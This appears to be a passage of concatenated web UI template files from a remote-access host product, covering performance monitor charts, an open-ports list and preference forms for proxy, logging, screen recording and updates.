<a href="title.html?favname=%MSG.PERF.MBOARD.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<center><br>
<?if SENSORS > "0"?>
<!-- MOTHERBOARD MONITOR -->
<div class="tab-page" id="tabMBM">

<table class="inner" width="95%">
<tr>
<th colspan="5">MotherBoard Monitor &MBM.VERSION& sensors</th>
</tr>
<tr>
<th>&MSG.NAME&</th>
<th>&MSG.VALUE&</th>
<th>&MSG.PERF.MIN&</th>
<th>&MSG.PERF.MAX&</th>
<th>&MSG.PERF.AVG&</th>
</tr>
<?enum SENSORS?>
<tr valign="top">
<td>&SENSOR.NAME&</td>
<td class="num">&SENSOR.VALUE&&SENSOR.UNIT&</td>
<td class="num">&SENSOR.MIN&&SENSOR.UNIT&</td>
<td class="num">&SENSOR.MAX&&SENSOR.UNIT&</td>
<td class="num">&SENSOR.AVG&&SENSOR.UNIT&</td>
</tr>
<?next?>
</table>

<center>
<form action="&TEMPLATE&" method="get">
<input type="hidden" name="tab" value="1">
<input type="hidden" name="rnd" value="&RND&">
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>
</center>

</div>
<?endif?>
</center>
</div>
</body>
</html>
a1perfmon.html0C<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
</head>

<body>
<?action "perfmon" // get name?><?usemacro WINERRDLG()?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText">&MSG.PERF.TYPE:REQ.TYPE&<?if STAT.NAME?> (&STAT.NAME&)<?endif?></span></div>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.PERF.TYPE:REQ.TYPE%%20%STAT.NAME%&favicon=menu_perf.png&favargs=%TEMPLATE%%3Ftype=%REQ.TYPE%&index=%REQ.INDEX%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?type=%REQ.TYPE%&index=%REQ.INDEX%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div><br>
<center>

<script type="text/javascript">
var tips = new Array();
var lastr = -1;
var lastx = -1;
if (window.captureEvents)
window.captureEvents(Event.MOUSEMOVE);
function ft1(e,res) {
if (lastr != res) {
lastr = res;
lastx = -1;
}
var x = e.x || e.pageX;
if (lastx != x) {
lastx = x;
if (tips[res]) {
// get left of image
var imgx = 0;
for (var img = e.target || e.srcElement; img.offsetParent; img = img.offsetParent) {
imgx += img.offsetLeft;
}
// get tip index
var i = x - imgx - 1;
var t = tips[res];
if (t[i]) {
showTip(e,t[i],false,'IMG');
}
}
}
}
</script>


<?defmacro PERF(RES)?>
<?action "perfmon" REQ.RES = RES?>
<?if SAMPLES?>
<table>
<tr><th>&MSG.PERF.FREQ&: <?&STAT.FREQ_spn?></th></tr>
<tr><th class="ttd">
<?&MSG.PERF.MIN?>: <?&STAT.MIN?>%,
<?&MSG.PERF.MAX?>: <?&STAT.MAX?>%,
<?&MSG.PERF.AVG?>: <?&STAT.AVG?>%
</th></tr>
<tr><td>
<img id="map=RES=" src="/perfchart.png?type=%REQ.TYPE%&res=%RES%&index=%REQ.INDEX%&bg=%COLOR.DlgBack%&fg=%COLOR.ServHi%&%RND%" border="0" 
width="382" height="109" onclick="ft1(event,=RES=)" onmousemove="ft1(event,=RES=)">
<?if CFG.TOOLTIPS>0?>
<script type="text/javascript">
var t = new Array();
<?enum SAMPLES?>t[=SAMPLE.L=] = '<?$SAMPLE.DATA?>% - <?$SAMPLE.TIME_dtms?>'; <?next?>
tips[=RES=] = t;
</script>
<?endif?>
</td></tr>
</table>
<?endif?>
<?endmacro?>

<?defmacro PERFNET(RES)?>
<?action "perfmon" REQ.RES = RES?>
<?if SAMPLES?>
<table>
<tr><th>&MSG.PERF.FREQ&: <?&STAT.FREQ_spn?></th></tr>
<tr><th class="ttd">
<?&MSG.PERF.MIN?>: <?&STAT.MIN?> <?&STAT.UNIT?>,
<?&MSG.PERF.MAX?>: <?&STAT.MAX?> <?&STAT.UNIT?>,
<?&MSG.PERF.AVG?>: <?&STAT.AVG?> <?&STAT.UNIT?>
</th></tr>
<tr><td>
<img id="Img1" src="/perfchart.png?type=%REQ.TYPE%&res=%RES%&index=%REQ.INDEX%&bg=%COLOR.DlgBack%&fg=%COLOR.ServHi%&%RND%" border="0" 
width="382" height="109" onclick="ft1(event,=RES=)" onmousemove="ft1(event,=RES=)">
<?if CFG.TOOLTIPS>0?>
<script type="text/javascript">
var t = new Array();
<?enum SAMPLES?>t[=SAMPLE.L=] = '<?$SAMPLE.DATA?>% - <?$SAMPLE.TIME_dtms?>'; <?next?>
tips[=RES=] = t;
</script>
<?endif?>
</td></tr>
</table>
<?endif?>
<?endmacro?>

<?if REQ.TYPE="neti" or REQ.TYPE="neto"?>
<table>
<tr>
<td><?usemacro PERFNET(0)?></td>
<td><?usemacro PERFNET(1)?></td>
</tr>
<tr>
<td><?usemacro PERFNET(2)?></td>
<td><?usemacro PERFNET(3)?></td>
</tr>
</table>
<br>
<br>
<?else?>
<table>
<tr>
<td><?usemacro PERF(0)?></td>
<td><?usemacro PERF(1)?></td>
</tr>
<tr>
<td><?usemacro PERF(2)?></td>
<td><?usemacro PERF(3)?></td>
</tr>
</table>
<br>
<br>
<?endif?>

<?if REQ.TYPE is "cpu"?>
<?if CPUS > 1?>
<p>
<?enum CPUS?>
<input type="button" value="&CPU.NAME&" onclick="window.location='$TEMPLATE$?type=$REQ.TYPE$&index=$CPU.INDEX$'">
<?next?>
<input type="button" value="&MSG.PERF.TOTAL&" onclick="window.location='$TEMPLATE$?type=$REQ.TYPE$'">
</p>
<?endif?>
<?if ACTIONS has "-procinfo-"?>
<?action "perfmon" REQ.TYPE = "cpubypid"?>
<?if PROCS > 0?>
<table class="inner">
<tr><th colspan="5"><?&PERF.INTENSE?></th></tr>
<tr class="ttd">
<td><?&ADMIN.THREADS.ID?></td>
<td><?&MSG.NAME?></td>
<td><?&ADMIN.PROCESS.TIME?></td>
<td><?&ADMIN.PROCESS.CPUP?></td>
</tr>
<?enum PROCS?>
<tr>
<td class="num"><?&PROC.ID?></td>
<td><?if PROC.ID != "0"?><a href="procinfo.html?pid=%PROC.ID%&back=%TEMPLATE%%3ftype%3dcpu"><?endif?><?&PROC.PATH?></a></td>
<td class="num"><?&PROC.TIME_spn?></td>
<td class="num"><?&PROC.TIMEP?>%</td>
</tr>
<?next?>
</table><br>
<?endif?>
<?endif?>

<?elseif REQ.TYPE is "drv"?>

<form action="&TEMPLATE&" method="get">
<input type="hidden" name="type" value="&REQ.TYPE&">
<select name="index" size="1" onchange="this.form.submit()">
<?enum DRIVES?>
<option value="&DRIVE.INDEX&" <?selected REQ.INDEX=DRIVE.INDEX?>><?&DRIVE.NAME?>
<?next?>
<option value="" <?selected REQ.INDEX=""?>><?&MSG.PERF.TOTAL?>
</select>
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>

<?elseif REQ.TYPE has "mem"?>
<form action="&TEMPLATE&" method="get">
<select name="type" size="1" onchange="this.form.submit()">
<option value="mem"  <?selected REQ.TYPE="mem"?>><?&MSG.PERF.TYPE.MEM?>
<option value="memp" <?selected REQ.TYPE="memp"?>><?&MSG.PERF.TYPE.MEMP?>
<option value="memc" <?selected REQ.TYPE="memc"?>><?&MSG.PERF.TYPE.MEMC?>
</select>
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>
<?elseif REQ.TYPE has "net"?>

<form action="&TEMPLATE&" method="get">
<select name="index" size="1" onchange="this.form.submit()">
<?enum ADAPTERS?>
<option value="&ADAPTER.INDEX&" <?selected REQ.INDEX=ADAPTER.INDEX?>><?&ADAPTER.NAME?>
<?next?>
<option value="" <?selected REQ.INDEX=""?>><?&MSG.PERF.TOTAL?>
</select>
<select name="type" size="1" onchange="this.form.submit()">
<option value="neti" <?selected REQ.TYPE="neti"?>><?&MSG.PERF.TYPE.NETI?>
<option value="neto" <?selected REQ.TYPE="neto"?>><?&MSG.PERF.TYPE.NETO?>
</select>
<input type="submit" value="&MSG.DIALOG.UPDATE&">
</form>

<?if STAT.NAME?><?if ACTIONS has "-perfcfg-"?>
<?action "perfcfg" REQ.ADAPTER.NAME = STAT.NAME?>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="type" value="&REQ.TYPE&">
<input type="hidden" name="index" value="&REQ.INDEX&">
<input type="hidden" name="adapter.name" value="&STAT.NAME&">
<?if REQ.TYPE = "neti"?><?&MSG.PERF.MAXBWI?>:&nbsp;<input type="text" name="adapter.bpsi" value="&ADAPTER.BPSI&" size="4">&nbsp;<?&MSG.PERF.KBPS?><?endif?>
<?if REQ.TYPE = "neto"?><?&MSG.PERF.MAXBWO?>:&nbsp;<input type="text" name="adapter.bpso" value="&ADAPTER.BPSO&" size="4">&nbsp;<?&MSG.PERF.KBPS?><?endif?>
<input type="submit" value="&MSG.DIALOG.APPLY&">
</form>
<?endif?><?endif?>

<?endif?>

</center>
<br>
</div>
</body>
</html>
rperfmon.wmlNj<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<?nocache?>
<wml> 
<card id="perfmon&REQ.TYPE&" title="&SRVNAME&" newcontext="true">
<?if not REQ.TYPE?>
<p align="center">
<b><?&MSG.PERF.TITLE?></b>
<br/>
</p>

<p align="center">
<anchor><?&MSG.PERF.TYPE.CPU?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="cpu"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<br/>
<anchor><?&MSG.PERF.TYPE.MEM?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="mem"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<br/>
<anchor><?&MSG.PERF.TYPE.DRV?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="drv"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>
<?else?>
<p align="center">
<b><?&MSG.PERF.TYPE:REQ.TYPE?></b>
</p>
<p align="center">
<?action "perfmon" REQ.RES="0"?>
<?&MSG.PERF.FREQ?>: <?&STAT.FREQ_spn?><br/>
<img src="/perfchart.wbmp?rasid=%RASID%&amp;type=%REQ.TYPE%&amp;res=%REQ.RES%" alt=""/><br/>
</p>
<p align="center">
<?action "perfmon" REQ.RES="1"?>
<?&MSG.PERF.FREQ?>: <?&STAT.FREQ_spn?><br/>
<img src="/perfchart.wbmp?rasid=%RASID%&amp;type=%REQ.TYPE%&amp;res=%REQ.RES%" alt=""/><br/>
</p>
<p align="center">
<?action "perfmon" REQ.RES="2"?>
<?&MSG.PERF.FREQ?>: <?&STAT.FREQ_spn?><br/>
<img src="/perfchart.wbmp?rasid=%RASID%&amp;type=%REQ.TYPE%&amp;res=%REQ.RES%" alt=""/><br/>
</p>
<p align="center">
<?action "perfmon" REQ.RES="3"?>
<?&MSG.PERF.FREQ?>: <?&STAT.FREQ_spn?><br/>
<img src="/perfchart.wbmp?rasid=%RASID%&amp;type=%REQ.TYPE%&amp;res=%REQ.RES%" alt=""/><br/>
</p>
<p align="center">
<anchor><?&MSG.DIALOG.BACK?>
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>
<?endif?>
<p align="center">
<b><anchor><?&MSG.DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
perfview.jsonS<?ratmpl?>
<?nocache?>
<?if not REQ.WATCHDOG ?>
<? action "perfview" ?>
{ "Mem": &PERFVIEW.MEM&, "Cpu": &PERFVIEW.CPU& }
<? else ?>
{ "Mem": 0, "Cpu": 0 }
<? endif ?>
l4portlist.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>

<script type="text/javascript" src="js/window.js"></script>

<script language="JavaScript">
var tips = new Array();
</script>
</head>

<?action "portlist"?><?usemacro WINERRDLG()?>

<body onLoad="winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5);">

<?if PORTS>0?>
<div class="window" id="info">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&INFO.PORT.TITLE?></span></div>

<?
// set default sorting
if not REQ.SORT
// by process name, ascending
set REQ.SORT = "pa"
endif
?>

<script language="javascript">
function doSort(sortby) {
document.forms.type.sort.value = sortby;
document.forms.type.submit();
}
</script>

<!-- TOOLBAR -->
<form name="type" action="&TEMPLATE&" style="display:inline">
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.PORT.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%%3fshowl=%REQ.SHOWL%%26showc=%REQ.SHOWC%%26showo=%REQ.SHOWO%%26resolve=%REQ.RESOLVE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="javascript:document.forms.type.submit()"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup" style="valign: absmiddle;">
<label for="l1"><input type="checkbox" id="l1" name="showl" value="1" <?checked REQ.SHOWL?>>&INFO.PORT.LISTEN&</label>&nbsp;
<label for="c1"><input type="checkbox" id="c1" name="showc" value="1" <?checked REQ.SHOWC?>>&INFO.PORT.CONN&</label>&nbsp;
<label for="o1"><input type="checkbox" id="o1" name="showo" value="1" <?checked REQ.SHOWO?>>&INFO.PORT.ELSE&</label>&nbsp;
</div>
<div class="buttonGroup">
<span onmouseover="showTip(event,'$INFO.PORT.RESOLVENOTE$',false,'SPAN')">
<label for="r1"><input type="checkbox" id="r1" name="resolve" value="1" <?checked REQ.RESOLVE?>>&INFO.PORT.RESOLVE&</label>&nbsp;
</span>
</div>
</div>
<input type="hidden" name="sort" value="$REQ.SORT$">
</form>

<div id="infoArea" class="scrollableDataArea">
<center>
<table width="80%" cellpadding="2" class="inner" id="plist">
<thead>
<tr>
<th rowspan="2"><?usemacro SORTABLETH("ta", "td", MSG.TYPE)?></th>
<th rowspan="2"><?usemacro SORTABLETH("pa", "pd", MSG.INFO.PORT.PROCESS)?></th>
<th colspan="2" style="text-align:center">&INFO.PORT.LOCAL&</th>
<th colspan="2" style="text-align:center">&INFO.PORT.REMOTE&</th>
<th rowspan="2"><?usemacro SORTABLETH("sa", "sd", MSG.ADMIN.SERVICE.STATUS)?></th>
</tr>
<tr>
<th><?usemacro SORTABLETH("lia", "lid", MSG.INFO.PORT.IP)?></th>
<th><?usemacro SORTABLETH("lpa", "lpd", MSG.INFO.PORT.PORT)?></th>
<th><?usemacro SORTABLETH("ria", "rid", MSG.INFO.PORT.IP)?></th>
<th><?usemacro SORTABLETH("rpa", "rpd", MSG.INFO.PORT.PORT)?></th>
</tr>
</thead>
<tbody>
<?if PORTS>0?>
<?enum PORTS?>
<script language="JavaScript">
tips[=ENUM.INDEX=] = '\
<?if PROC.PATH?><b>$INFO.PORT.PROCESS$:</b> $PROC.PATH$<br><?endif?>\
<b>Adapter:</b> $PORT.ADAPTER$<br>\
<b>Local host:</b> <?if LOCAL.HOST?>$LOCAL.HOST$ ($LOCAL.ADDR$)<?else?>$LOCAL.ADDR$<?endif?><br>\
<b>Local name:</b> <?if LOCAL.NAME?>$LOCAL.NAME$<?else?>$LOCAL.PORT$<?endif?><br>\
<b>Remote host:</b> <?if REMOTE.HOST?>$REMOTE.HOST$ ($REMOTE.ADDR$)<?else?>$REMOTE.ADDR$<?endif?><br>\
<b>Remote name:</b> <?if REMOTE.NAME?>$REMOTE.NAME$<?else?>$REMOTE.PORT$<?endif?><br>\
';
</script>		
<tr onmouseover="showTip(event,tips[&ENUM.INDEX&],false,'TR')">
<td nowrap><?&PORT.TYPE?></td>
<td><?if PROC.ID?><a href="javascript:infoLink('$PROC.ID$')"><?&PROC.NAME?> (<?&MSG.ADMIN.PROCESS.PID?>: <?&PROC.ID?>)</a><?else?><?&MSG.CONFIG.NA?><?endif?>&nbsp;</td>
<td><?if REQ.RESOLVE?><?&LOCAL.HOST?><?if LOCAL.ADDR?> (&LOCAL.ADDR&)<?endif?><?else?><?&LOCAL.ADDR?><?endif?></td>
<td class="num"><?&LOCAL.PORT?></td>
<td><?if REQ.RESOLVE?><?&REMOTE.HOST?><?if REMOTE.ADDR?> (&REMOTE.ADDR&)<?endif?><?else?><?&REMOTE.ADDR?><?endif?></td>
<td class="num"><?&REMOTE.PORT?></td>
<td nowrap><?&PORT.STATE?></td>
</tr>
<?next?>
<?endif?>
</tbody>
</center>
</table>
</div>
<?else?>

<div id="ListOptions" class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&INFO.PORT.TITLE?></span></div>
<br>
<center>
<form  name="typeDlg" action="&TEMPLATE&" style="display:inline">
<fieldset><table>
<tr><td><label for="l2"><input type="checkbox" id="l2" name="showl" value="1">&INFO.PORT.LISTEN&</label></td></tr>
<tr><td><label for="c2"><input type="checkbox" id="c2" name="showc" value="1" checked>&INFO.PORT.CONN&</label></td></tr>
<tr><td><label for="o2"><input type="checkbox" id="o2" name="showo" value="1">&INFO.PORT.ELSE&</label></td></tr>
<tr onmouseover="showTip(event,'$INFO.PORT.RESOLVENOTE$',false,'TR')"><td>
<label for="r2"><input type="checkbox" id="r2" name="resolve" value="1">&INFO.PORT.RESOLVE&</label>
</td></tr>
</table></fieldset><br><br>
<input type="submit" value="&DIALOG.CONTINUE&" onclick="winShow('ListOptions', false)">
<br><br>
</form>
</center>
</div>	
<?endif?>

<script type="text/javascript">
<?if not BRAND.LOGMEIN?>
<?if not PORTS>0?>
winShow('info', false);
winShow('ListOptions', true);
<?endif?>
<?endif?>
function infoLink(pid) {
window.location="/procinfo.html?pid="+pid+"&back="+escape(window.location.href);
}
</script>
</div>
</body>
</html>
@ppwd.html]J5<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<head>
</head>
<body>
</body>
</html>
"prefadvanced.htmlqT<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<?include "dirtree.inc"?>
<style type="text/css">
.preferences { margin-left: 50px; }
.preferences div { margin-left: 30px; }
.preferences p { margin-left: 30px; }
</style>
</head>
<body>
<?
action "prefadvanced"
if NOT ProxyTest
usemacro WINERRDLG()
endif
?>
<div class="window">	
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.TOOLKIT.ADVANCED.TITLE&<?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<a href="title.html?favname=%MSG.CONFIG.TOOLKIT.ADVANCED.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<form action="&TEMPLATE&" method="post" class="preferences">
<input type="hidden" name="op" value="update">
<?if REQ.BACK?>
<input type="hidden" name="back" value="&REQ.BACK&">
<?endif?>
<h1>&MSG.CONFIG.NET.TITLE&</h1>
<div>
<input type="checkbox" name="WolFromSleepEnabled" value="1" <?checked WolFromSleepEnabled = "1"?> <?disabled WolFromSleepEnabled.LOCKED?> />&MSG.CONFIG.NET.WolFromSleepEnabled&
<br />
<?if not ISMAC?>
<span>&MSG.DIALOG.NOTE&: &MSG.CONFIG.NET.WolFromSleepEnabled.NOTE&</span>
<?else?>
<br/>
<?endif?>
<table>
<tr>
<td>&MSG.CONFIG.NET.IdleTimeOut&</td>
<td><input type="text" name="IdleTimeOut" value="<?&IdleTimeOut _spn?>" <?disabled IdleTimeOut.LOCKED?>> (&MSG.SPNFMT&)</td>
</tr>
<?if not BRAND.LOGMEIN.FREE?>
<tr>
<td>&MSG.CONFIG.NET.FileXferCompr&</td>
<td>
<select name="FileXferCompr" <?disabled FileXferCompr.LOCKED?>>
<option value="10" <?selected FileXferCompr="10"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.ADAPTIVE&</option>
<option value= "0" <?selected FileXferCompr= "0"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.NONE&</option>
<option value="-1" <?selected FileXferCompr="-1"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.FAST&</option>
<option value= "1" <?selected FileXferCompr= "1"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.LOW&</option>
<option value= "6" <?selected FileXferCompr= "6"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.NORMAL&</option>
<option value= "9" <?selected FileXferCompr= "9"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.BEST&</option>
</select>
</td>
</tr>
<?endif?>
</table>
</div>
<h1>&MSG.CONFIG.PROXY.TITLE&</h1>
<div>
<table>
<tr>
<td>&MSG.CONFIG.PROXY.SERVER&:</td>
<td>
<input type="text" name="ProxyAddr" size="22" value="&ProxyAddr&" onkeyup="proxyCheck()" onchange="proxyCheck()" <?disabled ProxyAddr.LOCKED?>>
:<input type="text" name="ProxyPort" size="4" value="&ProxyPort&" <?disabled ProxyPort.LOCKED?>>
</td>
</tr>
<tr>
<td></td>
<td>
<?if not ISUNIX?>
<input type="submit" name="GetRegProxy" value="&MSG.CONFIG.PROXY.GETPROXY&" <?disabled ProxyAddr.LOCKED?>>
<?endif?>
<input type="submit" name="ProxyTest" value="&MSG.CONFIG.PROXY.TEST&">
</td>
</tr>	
<tr>
<td>&MSG.CONFIG.PROXY.USER&:</td>
<td><input type="text" name="ProxyUsername" size="30" value="&ProxyUsername&" <?disabled ProxyUsername.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.PROXY.PASS&:</td>
<td><input type="password" name="ProxyPassword" size="30" value="&ProxyPassword&" <?disabled ProxyPassword.LOCKED?>></td>
</tr>
</table>
<script language="JavaScript"?>
function proxyCheck() {
var form = document.forms[0];
form.ProxyTest.disabled = (form.ProxyAddr.value.length == 0);
}
proxyCheck();
<?if ProxyTest?>
function proxyResult() {
<?if ProxyTest="ok"?>
var msg = '$MSG.CONFIG.PROXY.TESTOK$';
<?else?>
var msg = '$MSG.CONFIG.PROXY.TESTFAILED$';
<?if WINERRMSG?>msg += '\r\n$MSG.DIALOG.ERROR$: $WINERRMSG$';<?endif?>
<?endif?>
alert(msg);
}
setTimeout("proxyResult()", 10);
<?endif?>
</script>
</div>
<?if not ISUNIX and not BRAND.LOGMEIN.FREE?>
<h1>&MSG.CONFIG.REMCTRL.RemotePrint&</h1>
<div />
<input type="checkbox" name="ForceBitmapPrinting" value="1" <?checked ForceBitmapPrinting = "1"?>  <?disabled ForceBitmapPrinting.LOCKED?> />&MSG.CONFIG.ADVANCED.FORCEBITMAPPRINTING&
</div>
<?endif?>
<h1>&MSG.CONFIG.TOOLKIT.ADVANCED.EVENTLOGS&</h1>
<div />
<table>
<tr>
<td>&MSG.CONFIG.LOG.Directory&</td>
<td><input type="text" name="LogDirectory" value="&LogDirectory&" size="40" onchange="if (window.rr) {rr(this)}" title="&MSG.CONFIG.LOG.DirectoryExplain&" <?disabled logDirectory.LOCKED?>>
<?if not Directory.LOCKED
usemacro BrowseButton("document.forms[0].LogDirectory.value")
endif?>
</td>
</tr>
<tr>
<td>&MSG.CONFIG.LOG.ArchivalDays&</td>
<td><input type="text" name="ArchivalDays" value="&ArchivalDays&" onchange="if (window.rr) {rr(this)}" <?disabled ArchivalDays.LOCKED?>>&nbsp;&MSG.DIALOG.TIME.DAYS&</td>
</tr>
</table>
<input type="button" onclick="window.location='logs.html?back=$TEMPLATE$';" value="&MSG.CONFIG.TOOLKIT.ADVANCED.VIEWFILES&"/>
<br />
<input type="checkbox" name="DebugLog" value="1" <?checked DebugLog = "1"?> <?disabled DebugLog.LOCKED?>>&MSG.CONFIG.ADVANCED.DEBUGLOG&
</div>
<h1>&MSG.CONFIG.TOOLKIT.ADVANCED.SCREENREC&</h1>
<div>
<input type="checkbox" name="EnableScreenRecording" value="1" <?checked EnableScreenRecording = "1"?> <?disabled EnableScreenRecording.LOCKED?>>&MSG.CONFIG.REMCTRL.ScreenRecordingOn&
<table>
<? if not ISUNIX ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.AutoConvertAVI&</td>
<td><input type="radio" name="AutoConvertAVI" value="0" <?checked AutoConvertAVI = "0"?> <?disabled AutoConvertAVI.LOCKED?>>&MSG.CONFIG.REMCTRL.FormatRCREC&</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="radio" name="AutoConvertAVI" value="1" <?checked AutoConvertAVI = "1"?> <?disabled AutoConvertAVI.LOCKED?>>&MSG.CONFIG.REMCTRL.FormatAVI&</td>
</tr>
<? endif ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.ScreenRecordingDirectory&</td>
<td><input type="text" name="ScreenRecordingDirectory" value="&ScreenRecordingDirectory&" size="40" title="&MSG.CONFIG.REMCTRL.ScreenRecordingDirectoryExplain&" <?disabled ScreenRecordingDirectory.LOCKED?>>
<?if not ScreenRecordingDirectory.LOCKED
usemacro BrowseButton("document.forms[0].ScreenRecordingDirectory.value")
endif?>
</td>
</tr>
</table>
&MSG.CONFIG.REMCTRL.ScreenRecordingSize&
<input type="text" name="ScreenRecordingSize" value="&ScreenRecordingSize&" >&nbsp;&MSG.MEGABYTE&
</div>
<?if ACTIONS has "-restart-"?>
<h1>&MSG.ADMIN.REBOOT.TITLE.LMIPRO&</h1>
<div>
&MSG.SECREM.SPLASH.REBOOT&
<br />
<input type="button" onclick="window.location='restart.html?back=$TEMPLATE$';" value="&MSG.CONFIG.TOOLKIT.ADVANCED.VIEWREBOOT&"/>
</div>
<? endif ?>
<h1>&MSG.CONFIG.TOOLKIT.ADVANCED.SWUPDATES&</h1>
<div>
<input type="checkbox" name="DownloadAndInstallUpdates" value="1" <?checked DownloadAndInstallUpdates = "1"?> <?disabled DownloadAndInstallUpdates.LOCKED?>>&MSG.CONFIG.NET.AutoDownloadAndInstall&	        
</div>
<? if not ISUNIX ?>
<h1>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.TITLE&</h1>
<div>
&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.SUBTITLE&
<br />
<input type="radio" name="CrashDumpInfo" value="1" <?checked CrashDumpInfo = "1"?> <?disabled CrashDumpInfo.LOCKED?>></input>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.SEND&
<br />
<input type="radio" name="CrashDumpInfo" value="2" <?checked CrashDumpInfo = "2"?> <?disabled CrashDumpInfo.LOCKED?>></input>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.DONTSEND&
<br />
<input type="radio" name="CrashDumpInfo" value="3" <?checked CrashDumpInfo = "3"?> <?disabled CrashDumpInfo.LOCKED?>></input>&MSG.CONFIG.ADVANCED.CRASHDUMPINFO.USERDECIDE&
</div>
<? endif ?>
<br />
<input type="submit" value="&MSG.DIALOG.APPLY&">
<?if REQ.BACK?>
&nbsp;&nbsp;<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="window.location='$REQ.BACK$'">
<?endif?>
</form>
</div>
</body>
</html>
wٓ prefgeneral.htmlb$ʐ<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
action "prefgeneral"
usemacro WINERRDLG()

if REQ.LANG
set session OLDLANG = LANG
set session LANG = REQ.LANG
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<style type="text/css">
.preferences { margin-left: 50px; }
.preferences div { margin-left: 30px; }
.preferences p { margin-left: 30px; }
.preferences.subtitle { margin: 10px; font-weight: bold;}
</style>
</head>
<body<?if REQ.LANG and not OLDLANG = LANG?> onload="window.top.menu.location.reload();"<?endif?>>
<div class="window">	
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.TOOLKIT.GENERAL.TITLE&<?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<a href="title.html?favname=%MSG.CONFIG.TOOLKIT.GENERAL.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<form action="&TEMPLATE&" target="_self" method="post" class="preferences">
<input type="hidden" name="op" value="update">
<?if REQ.BACK?>
<input type="hidden" name="back" value="&REQ.BACK&">
<?endif?>
<h1>&MSG.REMCTRL.TITLE&</h1>
<? if not ISUNIX ?>
<div>
<span class="subtitle">&MSG.CONFIG.TOOLKIT.GENERAL.PERFORMANCE&</span>
<div>
